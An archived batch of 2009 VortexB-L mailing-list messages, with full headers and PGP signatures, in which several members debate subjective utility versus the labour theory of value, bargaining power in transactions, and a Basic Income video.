--001636c5a717c67393046a97d09d-- From vortexb-l-request@eskimo.com Sat May 23 10:45:18 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4NHj9lb011803; Sat, 23 May 2009 10:45:10 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4NHitv6010060; Sat, 23 May 2009 10:44:55 -0700 Resent-Date: Sat, 23 May 2009 10:44:55 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=4Djje1nKup0sfPYIY22fl7z7+Px6Q0BL07fxJu6cZfE=; b=Nb856q0wdUj7VNpHChyPpW23oePPUbcMD23cJCh6dKpXa0iNZBJgNS4fPCu7swSYtL mSQ0hpMz3+MuQwvlM758gwhFVRp1P3fz1SaHV4I2EM2gf8mNjDSq/e8zn2Vi0Jz9TOLh LSvTdFWCpIgsXzd3Dg8kUtHRh3gopiJyQKumI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=xecqneD3M1RmwfCqk+H5pH0UsI25P6O1nfXsuy6BnJ/ycacRgFrpAi9ugdUmJOyNP3 RHeHXq1p/s/FSE5hc7sIxLE4GcQjX+v7jNkv8fKvOTxk1flqrsqFUE7/d1snG3tf11qo bnuSPKW2C/If/4cauex3Eo6isop4W3fW4k07I= MIME-Version: 1.0 In-Reply-To: <20090523060453.GA30684@shell.resist.ca> References: <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> <20090523060453.GA30684@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 13:44:34 -0400 Message-ID: <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b5174f7b03046a97ef0f Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4085 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 327 --001636c5b5174f7b03046a97ef0f Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Yes. Subjective utility is the primary kind of value, and then there is a market price which is the aggregate of many subjective utilities. The time required to create a product is irrelevant, is based on unreasonable assumptions, and what's more, with great irony, there's no way to extract a surplus from it. Feel free to show me how I'm wrong. On Sat, May 23, 2009 at 2:04 AM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Utility. > > And this is... an answer..? > It PROVES something, yes..? > > > - -- grok. > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoXkgUACgkQXo3EtEYbt3ES9gCfXaA6IOJxXI/+COTingzbnQti > s9wAnihDKs1Lktdkf8ZLBFi2XoykDoSF > =3DamuL > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b5174f7b03046a97ef0f Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Yes.=A0 Subjective utility is the primary kind of value, and then there is = a market price which is the aggregate of many subjective utilities.=A0 The = time required to create a product is irrelevant, is based on unreasonable a= ssumptions, and what's more, with great irony, there's no way to ex= tract a surplus from it. Feel free to show me how I'm wrong.


On Sat, May 23, 2009 at 2:04 AM, grok <grok@resist.ca>= ; wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Utility.

And this is... an answer..?
It PROVES something, yes..?


- -- grok.





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoXkgUACgkQXo3EtEYbt3ES9gCfXaA6IOJxXI/+COTingzbnQti
s9wAnihDKs1Lktdkf8ZLBFi2XoykDoSF
=3DamuL
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b5174f7b03046a97ef0f-- From vortexb-l-request@eskimo.com Sat May 23 13:49:14 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4NKnCfQ018252; Sat, 23 May 2009 13:49:12 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4NKn2TQ018215; Sat, 23 May 2009 13:49:02 -0700 Resent-Date: Sat, 23 May 2009 13:49:02 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 13:48:52 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090523204852.GA10781@shell.resist.ca> Reply-To: grok@resist.ca References: <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Tungsten, LABLINK, Hezbollah, TANGO, S-300-PT User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4086 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 328 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Yes. Subjective utility is the primary kind of value, and then there is a > market price which is the aggregate of many subjective utilities. The time > required to create a product is irrelevant, is based on unreasonable > assumptions, and what's more, with great irony, there's no way to extract a > surplus from it. Poppycock. > Feel free to show me how I'm wrong. Gee. Where do we start. So... what *is* "utility", anyway..? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYYTQACgkQXo3EtEYbt3EaqACdGiwtO+lUqCQGcgrVOdCgqy1J hMcAn0ZI78uSegOQmW/hFu6lNbzmUf75 =3W/b -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 15:24:14 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4NMOBiK005163; Sat, 23 May 2009 15:24:11 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4NMOAYF005149; Sat, 23 May 2009 15:24:10 -0700 Resent-Date: Sat, 23 May 2009 15:24:10 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 15:24:04 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090523222404.GB10781@shell.resist.ca> Reply-To: grok@resist.ca References: <1c6b0f1c9797.1c97971c6b0f@ncf.ca> <20090522035041.GC10931@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Tungsten, LABLINK, Hezbollah, TANGO, S-300-PT User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4087 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 329 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >> In this video someone explains the advantages of Basic Income and counters > >> common criticisms and misconceptions about Basic Income which come from > >> both the right and the left. The discussion on Basic Income begins in > >> earnest at the 5 minute mark in this 10 minute video. > >> > >> [1]http://ca.youtube.com/watch?v=nAfpGZWJOQQ > > > >Sounds interesting. Too bad my audio is on the fritz right now. > > --- > Selective deafness, poor baby? > > JF Nooo, I have to load my sound modules into the kernel by hand right now, because someone screwed up upstream in Debian... and I just now got that done. So let's see what we have here. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYd4QACgkQXo3EtEYbt3FeiQCfQncbSOTM59lIRz6Dk66S8JhO hNcAnixeSTrpfCtR6bOfX5QUnR1F2IN9 =3ef9 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 16:54:51 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4NNsmAN019136; Sat, 23 May 2009 16:54:48 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4NNslYg019129; Sat, 23 May 2009 16:54:47 -0700 Resent-Date: Sat, 23 May 2009 16:54:47 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 16:54:39 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090523235439.GD10781@shell.resist.ca> Reply-To: grok@resist.ca References: <1c6b0f1c9797.1c97971c6b0f@ncf.ca> <20090522035041.GC10931@shell.resist.ca> <20090523222404.GB10781@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20090523222404.GB10781@shell.resist.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Tungsten, LABLINK, Hezbollah, TANGO, S-300-PT User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4088 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Ron Paul for =?utf-8?B?RsO8aHJlciEh?= Status: O X-Status: X-Keywords: X-UID: 330 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, grok mounted the barricade and roared out: >> In this video someone explains the advantages of Basic Income and counters >> common criticisms and misconceptions about Basic Income which come from >> both the right and the left. The discussion on Basic Income begins in >> earnest at the 5 minute mark in this 10 minute video. >> >> [1]http://ca.youtube.com/watch?v=nAfpGZWJOQQ I've seen 80% of this video -- more than enuff. First off: let's get past the "radical" 'look' of this guy. There's little 'radical' about him, in fact. He's a typical reformist coming from a Left-libertarian perspective. He's trying to accomplish the usual dodge of squaring the ekonomik circle by 'reforming' the capitalist system -- typical petit-bourgeois liberal stuff. Thus the references to Ron Paul and libertarians. But in fact -- there is no reforming a system which is *fundamentally* exploitative. Pathologically-so, in fact. And this kid won't get that -- because he comes from the confused milieu which has grown up on the 'Left' since the decline of the `60s revolutionary wave -- and the resulting counter-revolutionary assault we are (thankfully) just coming out of now. There are other facets to this thing -- but this is the essence of it. And my 2¢-worth. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYjL8ACgkQXo3EtEYbt3EZmACgnjxDBjstyfWtv1X/oOgcg7TX L/wAn1ym6L3GveBRydM0z2S8ZReaxSu3 =foYl -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 19:24:05 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O2NxBp014349; Sat, 23 May 2009 19:24:03 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O2NwVv014342; Sat, 23 May 2009 19:23:58 -0700 Resent-Date: Sat, 23 May 2009 19:23:58 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <1fc2841f5995.1f59951fc284@ncf.ca> Date: Sat, 23 May 2009 22:23:52 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=windows-1252 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4089 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 331 I would say=2C all things being equal=2C it boils down to the right to = refuse the transaction and NOT BE WORSE OFF for having refused=2E Harry ----- Original Message ----- From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E Date=3A Saturday=2C May 23=2C 2009 1=3A43 am Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E=2E =3E What does bargaining power mean in this case=3F =3E = =3E On Sat=2C May 23=2C 2009 at 1=3A33 AM=2C Harry Veeder =3Chveeder=40nc= f=2Eca=3E wrote=3A =3E = =3E =3E =3E =3E =3E =3E ----- Original Message ----- =3E =3E From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E =3E =3E Date=3A Friday=2C May 22=2C 2009 2=3A18 pm =3E =3E Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E=2E =3E =3E =3E =3E =3E I perceive the gap to be that grok recognizes value as object= ive=2C =3E =3E =3E while Jeff =3E =3E =3E Fink recognizes value to be subjective=2E In the former case= =2C = =3E economic=3E =3E transactions are inherently zero-sum and exploitive=2C= = =3E whereas in =3E =3E =3E the latter =3E =3E =3E case they are positive sum and mutually beneficial=2E =3E =3E =3E =3E Both parties to a transaction must enjoy equal bargaining power = =3E for it =3E =3E to be mutually beneficial=2C but in general such situations are m= ore =3E =3E theoretical than real=2E =3E =3E Harry =3E =3E =3E =3E =3E = =3E = =3E -- = =3E Never did I see a second sun =3E Never did my skin touch a land of glass =3E Never did my rifle point but true =3E But in a land empty of enemies =3E Waiting for the tick-tick-tick of the want =3E A uranium angel =3E Crying =93behold=2C=94 =3E This land that knew fire is yours =3E Taken from Corruption =3E To begin anew =3E From vortexb-l-request@eskimo.com Sat May 23 19:41:44 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O2fgbx018798; Sat, 23 May 2009 19:41:42 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O2fQ2r018740; Sat, 23 May 2009 19:41:26 -0700 Resent-Date: Sat, 23 May 2009 19:41:26 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=QI2Pozm4y1H/DGZstY9oQpEXykwx7RjoI6qRHCPPx3g=; b=HyvJ//W2UWGMNAdWfo735JnqMyIE0gomLevngUPhod3ko27qOzR4GbgFS+98UpgY1Z vA7RHZ7AocFPUby07miGkhjbwSI0bfnYYMf5nXW2VhFm+W9dVSj3vTTe0lWbRbp2MIk0 SqX1ZiWzoklMDd0+ZiJsJic5Cc6osmbxdc4UI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=QaszelpHL+n8VgVQXE1aZDX0pKIyjUsHABB7PA+UdolX/B7WXFRVVJeQDyFs7BiEs4 vSJ6GgxErkBOg1A4PrYJD6sFZP7MssUAKqRwl4RTki2qla1OETeEOa7GlzhqAhLnrsVC Ub+48CjhUKxwHIrKTN+GIOjAAy2VM8yEL77rA= MIME-Version: 1.0 In-Reply-To: <20090523204852.GA10781@shell.resist.ca> References: <20090522015232.GG29458@shell.resist.ca> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> <20090523204852.GA10781@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 22:41:05 -0400 Message-ID: <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a72e0a5b68046a9f6e76 Resent-Message-ID: <6cWDO.A.ukE.WPLGKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4090 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 332 --001636c5a72e0a5b68046a9f6e76 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Utility is what Marx blessed as "use value". Now, prove me wrong. On Sat, May 23, 2009 at 4:48 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Yes. Subjective utility is the primary kind of value, and then there i= s > a > > market price which is the aggregate of many subjective utilities. The > time > > required to create a product is irrelevant, is based on unreasonable > > assumptions, and what's more, with great irony, there's no way to extra= ct > a > > surplus from it. > > Poppycock. > > > > Feel free to show me how I'm wrong. > > Gee. Where do we start. > > So... what *is* "utility", anyway..? > > > - -- grok. > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoYYTQACgkQXo3EtEYbt3EaqACdGiwtO+lUqCQGcgrVOdCgqy1J > hMcAn0ZI78uSegOQmW/hFu6lNbzmUf75 > =3D3W/b > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a72e0a5b68046a9f6e76 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Utility is what Marx blessed as "use value".

Now, prove me= wrong.


On Sat, May 23, 2009 at 4:48 = PM, grok <grok@resis= t.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Yes. =A0Subjective utility is the primary kind= of value, and then there is a
> market price which is the aggregate of many subjective utilities. =A0T= he time
> required to create a product is irrelevant, is based on unreasonable > assumptions, and what's more, with great irony, there's no way= to extract a
> surplus from it.

Poppycock.


> Feel free to show me how I'm wrong.

Gee. Where do we start.

So... what *is* "utility", anyway..?


- -- grok.






- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoYYTQACgkQXo3EtEYbt3EaqACdGiwtO+lUqCQGcgrVOdCgqy1J
hMcAn0ZI78uSegOQmW/hFu6lNbzmUf75
=3D3W/b
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a72e0a5b68046a9f6e76-- From vortexb-l-request@eskimo.com Sat May 23 19:48:30 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O2mR6Q021816; Sat, 23 May 2009 19:48:27 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O2mQrV021801; Sat, 23 May 2009 19:48:26 -0700 Resent-Date: Sat, 23 May 2009 19:48:26 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=+3GaKfljThEg5dgO+fS8blCiW5YMsY67QgtcqYKhlok=; b=NQdNc4PT37nDAlD4/z53E7BcpCKLchOpoG6TuOjQAIJppJzGW1WHzXJnkR4OgH3Ocw O35OW3cIWMEuHauin0WzsX6zLDSukA8a0VJzOnIIU30gDTozI+vwavoZwgnIPpnOwQJg 7tIRmkPP575z/Byddo5YrWWcat6QgsatVQ42I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=eWYKWhyalw68kk+Fzxd9xW6geBZjJQKEfceiiWLENNH4ZkrAlEcKG/Vg5tdBd3US8y G89v4b2k/qZ5wW9ydQQ996zmmuHHdNhTzMWrgnS7wrYwhJxiTbwD7FlutG29TUUWsOS5 0p4E8AG4kgTfmJspRGdREESAdvsA3ALtDV2Sk= MIME-Version: 1.0 In-Reply-To: <1fc2841f5995.1f59951fc284@ncf.ca> References: <1fc2841f5995.1f59951fc284@ncf.ca> From: Charles HOPE Date: Sat, 23 May 2009 22:48:05 -0400 Message-ID: <63ffa6020905231948l4651ede4w6288c3114d14cca8@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5ac7a13766e046a9f872c Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4091 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 333 --001636c5ac7a13766e046a9f872c Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Does it matter why the person would be worse off for refusing? Are you recognizing a difference between agency and circumstance; the difference between me putting a gun to your head and informing you that I'll kill you if you turn down the deal, versus the deal simply being the best of all you= r options? On Sat, May 23, 2009 at 10:23 PM, Harry Veeder wrote: > I would say, all things being equal, it boils down to the right to > refuse the transaction and NOT BE WORSE OFF for having refused. > > Harry > > ----- Original Message ----- > From: Charles HOPE > Date: Saturday, May 23, 2009 1:43 am > Subject: Re: [VoB]:Re: This is VortexB-L... > > > What does bargaining power mean in this case? > > > > On Sat, May 23, 2009 at 1:33 AM, Harry Veeder wrote: > > > > > > > > > > > ----- Original Message ----- > > > From: Charles HOPE > > > Date: Friday, May 22, 2009 2:18 pm > > > Subject: Re: [VoB]:Re: This is VortexB-L... > > > > > > > I perceive the gap to be that grok recognizes value as objective, > > > > while Jeff > > > > Fink recognizes value to be subjective. In the former case, > > economic> > transactions are inherently zero-sum and exploitive, > > whereas in > > > > the latter > > > > case they are positive sum and mutually beneficial. > > > > > > Both parties to a transaction must enjoy equal bargaining power > > for it > > > to be mutually beneficial, but in general such situations are more > > > theoretical than real. > > > Harry > > > > > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5ac7a13766e046a9f872c Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Does it matter why the person would be worse off for refusing?=A0 Are you r= ecognizing a difference between agency and circumstance; the difference bet= ween me putting a gun to your head and informing you that I'll kill you= if you turn down the deal, versus the deal simply being the best of all yo= ur options?



On Sat, May 23, 2009 at 10:23 PM, Ha= rry Veeder <hveeder@= ncf.ca> wrote:
I would say, all things being equal, it boils down to the right to
refuse the transaction and NOT BE WORSE OFF for having refused.

Harry

----- Original Message -----
From: Charles HOPE <look= slikeiwasright@gmail.com>
Date: Saturday, May 23, 2009 1:43 am
Subject: Re: [VoB]:Re: This is VortexB-L...

> What does bargaining power mean in this case?<= br> >
> On Sat, May 23, 2009 at 1:33 AM, Harry Veeder = <hveeder@ncf.ca> wrote:
>
> >
> >
> > ----- Original Message -----
> > From: Charles HOPE <lookslikeiwasright@gmail.com>
> > Date: Friday, May 22, 2009 2:18 pm
> > Subject: Re: [VoB]:Re: This is VortexB-L...
> >
> > > I perceive the gap to be that grok recognizes value as objec= tive,
> > > while Jeff
> > > Fink recognizes value to be subjective. =A0In the former cas= e,
> economic> > transactions are inherently zero-sum and exploitive,=
> whereas in
> > > the latter
> > > case they are positive sum and mutually beneficial.
> >
> > Both parties to a transaction must enjoy equal bargaining power > for it
> > to be mutually beneficial, but in general such situations are mor= e
> > theoretical than real.
> > Harry
> >
> >
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
